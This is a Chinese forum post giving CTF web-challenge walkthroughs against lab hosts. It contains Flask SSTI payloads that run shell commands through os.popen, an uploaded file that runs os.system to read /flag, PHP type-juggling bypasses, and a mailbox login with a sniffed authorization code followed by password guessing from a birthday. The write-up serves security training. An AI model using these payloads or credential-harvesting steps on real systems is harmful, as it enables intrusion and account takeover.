標題:ctf之WEB練習三

taibeihacker

Moderator
題目名稱:Simple_SSTI_2題目wirteup:啟動題目場景,獲得靶場網站,訪問網站,頁面顯示url連接需要連接一個flag參數http://114.67.246.176:19131/
1049983-20211215170753560-1742163934.png
根據題目內容,該題是一個ssti漏洞,這裡構造ssti,參數構造flag={{3+2}},報錯,且是flaskhttp://114.67.246.176:19131/?flag={{3+2}}
1049983-20211215170753973-1147925365.png
又嘗試構造flag={{3*2}},發現頁面顯示6.證明系統存在ssti漏洞http://114.67.246.176:19131/?flag={{3*2}}
1049983-20211215170754373-1942425992.png
通過config變量查看flask的配置信息,並沒有可利用點http://114.67.246.176:19131/?flag={{config}}
1049983-20211215170754937-1633019011.png
通過{{ config.__class__.__init__.__globals__['os'].popen('ls ./').read() }}讀取系統文件,這裡讀取網站系統目錄,發現存在一些文件夾,一個個進入查看,發現第一個看的app文件夾裡就有flag##__class__:用來查看變量所屬的類,根據前面的變量形式可以得到其所屬的類。 ##__init__ 初始化類,返回的類型是function##__globals__[] 使用方式是函數名.__globals__獲取function所處空間下可使用的module、方法以及所有變量。 ##os.popen() 方法用於從一個命令打開一個管道。
##open() 方法用於打開一個文件,並返回文件對象http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20./%27).read()%20}}
1049983-20211215170755329-1298923557.png
通過{{ config.__class__.__init__.__globals__['os'].popen('ls ./app').read() }}讀取app目錄下的文件,發現存在flag文件http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20./app%27).read()%20}}
1049983-20211215170755655-8269713.png
通過{{ config.__class__.__init__.__globals__['os'].popen('cat ./app/flag').read() }}讀取flag內容http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20./app/flag%27).read()%20}}
1049983-20211215170756012-1662885641.png
最終得到flag:flag{fcf301ac393f2215b3664d749c2d875e}題目名稱:Flask_FileUpload題目witeup:http://114.67.246.176:12896/
1049983-20211215170756372-642221926.png
對文件上傳頁面進行源碼查看,發現只允許上傳jpg和png文件名格式,且讓我們上傳文件,文件內容會被python執行view-source:http://114.67.246.176:12896/
1049983-20211215170756809-381737825.png
system函數可以將字符串轉化成命令在服務器上運行;其原理是每一條system函數執行時,其會創建一個子進程在系統上執行命令行,子進程的執行結果無法影響主進程;os.system方法是os模塊最基礎的方法,其它的方法一般在該方法基礎上封裝完成。這裡使用python的os包中的system函數讀取flag這裡上傳一個test.jpg,其內容是讀取網站根目錄import os
os.system('ls /')
上傳成功,並查看源代碼,發現存在系統網站的根目錄,並且也發現根目錄中包含flag文件
1049983-20211215170757165-1220690341.png
1049983-20211215170757525-1275849476.png
查看flag
import os
os.system('cat /flag')
上傳成功,並查看源代碼,並發現flag內容
1049983-20211215170757927-2024492077.png
最終flag:flag{e541f3aadc9575ed6b6832b7ca34e327}題目名稱:計算器題目內容:計算正確即可得到flag題目writeup:其他題目場景,獲得靶場網站,訪問網站,發現需要輸入正確的驗證碼,才能獲得flag,通過f12元素審核,查看源代碼中包含了一個code.jshttp://114.67.246.176:16139/
1049983-20211215170758514-1404340057.png
查看code.js,發現flag內容http://114.67.246.176:16139/js/code.js
1049983-20211215170758956-219692258.png
最終得到flag:flag{e5d6e3fe29850f7fec9ea6ef55f86050}題目名稱:GET題目內容:flag{}題目wirteup:啟動題目場景,獲得靶場網站,訪問網站,頁面上顯示了一段php代碼http://114.67.246.176:13678/
1049983-20211215170759310-817204845.png
進行簡單的代碼審計,發現傳遞http get方法的what參數變量,當what參數變量等於flag時,那麼就輸出flag,這裡構造:what=flag,即可得到flaghttp://114.67.246.176:13678/?what=flag
1049983-20211215170759684-1193150402.png
最終flag:flag{54790dba4001f7ded2ebde88ca82a3ca}題目名稱:POST題目writeup:啟動題目場景,獲得靶場網站,訪問網站,發現一段php代碼http://114.67.246.176:15053/
1049983-20211215170800032-2036447816.png
進行簡單的代碼審計,發現傳遞http post get方法的what參數變量,當what參數變量等於flag時,那麼就輸出flag,這裡構造:http://114.67.246.176:15053/post:what=flag 即可獲得flag
1049983-20211215170800356-892244501.png
最終flag:flag{4335dd4cc76278468578d8026fb121ae}
題目名稱:矛盾題目writeup:啟動題目場景,獲得靶場網站,訪問網站,發現是一段php 代碼
1049983-20211215170800678-284646805.png
通過對代碼的簡單分析,我們可以發現傳入了一個參數num,這裡涉及道一個函數is_numeric,這個函數是檢測變量是否為數字或數字字符串,是數字和數字字符串則返回TRUE,否則返回FALSE
這條語句的意思是要傳入的num參數既不是數字字符串,並且又要等於1.'
num==1的判定是兩個等號,這是弱類型比較,如果等號兩邊類型不同,會轉換成相同類型再比較。
在弱類型比較下,當一個字符串與數字比較時,會把字符串轉換成數字,具體是保留字母前的數字。例如123ab7c會轉成123,ab7c會轉成0.(字母前沒數字就是0),所以,構造:num=1a,即可得到flag
1049983-20211215170801086-1113500528.png
最終flag:flag{d95c4676fd2740a47e0393cf3364e3e3}題目名稱:alert題目內容:flag{}題目wireup:啟動場景,獲得靶場網站,打開頁面,發現是一個無限制彈窗http://114.67.246.176:15743/
1049983-20211215170801469-1858378092.png
對其通過源碼形式訪問,並查看網頁源碼,發現註釋中有一段以#開頭的unicode編碼
1049983-20211215170801984-383310401.png
通過在線unicode解密,得到flag內容http://tool.chinaz.com/tools/unicode.aspx
1049983-20211215170802645-1444347535.png
最終flag:flag{09eec7218f68c04c87093052720c2c11}題目名稱:你必須讓他停下題目wireup:啟動題目場景,獲得靶場網站,訪問網站,頁面不斷刷新圖片
1049983-20211215170803098-1838834946.png
對頁面進行源代碼查看,並沒有發現flag,只是有單不斷刷新頁面的scirpt腳本
1049983-20211215170803493-840973381.png
通過bupsuit對其抓包,然後我們通過不斷重複的發送數據包go,最終在響應頁面可以看到flag內容
1049983-20211215170803947-322572721.png
最終flag:flag{ff9acfa3bbec16fe29b3ad5aef8f5421}題目名稱:社工-初步收集題目內容:其實是雜項,勉強算社工吧。來自當年實戰題目writeup:啟動題目場景,獲得靶場網站,訪問網站,發現是一個刷鑽網站http://114.67.246.176:13506/#goumai
1049983-20211215170804488-2120220421.jpg
通過御劍對其目標靶場網站進行目錄掃描,發現存在admin後台
1049983-20211215170805031-1221335115.png
訪問admin目錄,確實存在後台http://114.67.246.176:13506/admin/login.php
1049983-20211215170805472-324520940.png
在該靶場主頁下方,可下載輔助,這裡我麼對其下載。
image-20210531172109605

解壓後,然後再虛擬機中運行該刷鑽程序
image-20210531172614314

在輸入qq和密碼點擊開始,通過wrishark 對其抓包分析,發現彈出一個窗口“哈哈,小別緻別騙了”
image-20210531173000092

仔細觀察抓到的包,會發現疑似存在發包的郵箱和Base64加密的Pass。
image-20210531173328676

對base64進行解密成功,看起來,這個不像是密碼,太長了,而是想授權碼。
image-20210531173713476

打開Foxmail登錄,輸入郵箱地址,然後輸入授權碼,即可登錄。
image-20210531181535352

查看收件箱,按“主題”排序後,找到一封有可利用信息的郵件
可以看到發件人為Mara
發件時間是2021年,現在20歲,可以判斷在2001年出生
又說是前兩天過生日,可以判斷生日為2月6號
image-20210531174014354

嘗試登陸一下輸入:用戶名mara ,密碼為maryy生日號碼:20010206
1049983-20211215170813635-1876128424.png

成功登錄系統,查看網站後台中的網站設置---播放器key,即可得到flag
1049983-20211215170814122-809664510.png
最終得到flag:flag{c4cba16a2f1a2d5aedf2ddd90a6bd04f}題目名稱:game1題目wirtup:啟動題目場景,獲得靶場網站,訪問網站,發現一個玩遊戲,獲得最高分數,可獲得flag.這裡可以任意隨便玩一局。 http://114.67.246.176:17941/?s=1629731758384
1049983-20211215170814602-1834873374.jpg
然後在遊戲結束前通過bupsuit對其抓包分析,發現結果和source和ip以及sing三個參數的值有關。 http://114.67.246.176:17941/score.php?score=50ip=183.221.17.223sign=zMNTA===
 
返回
上方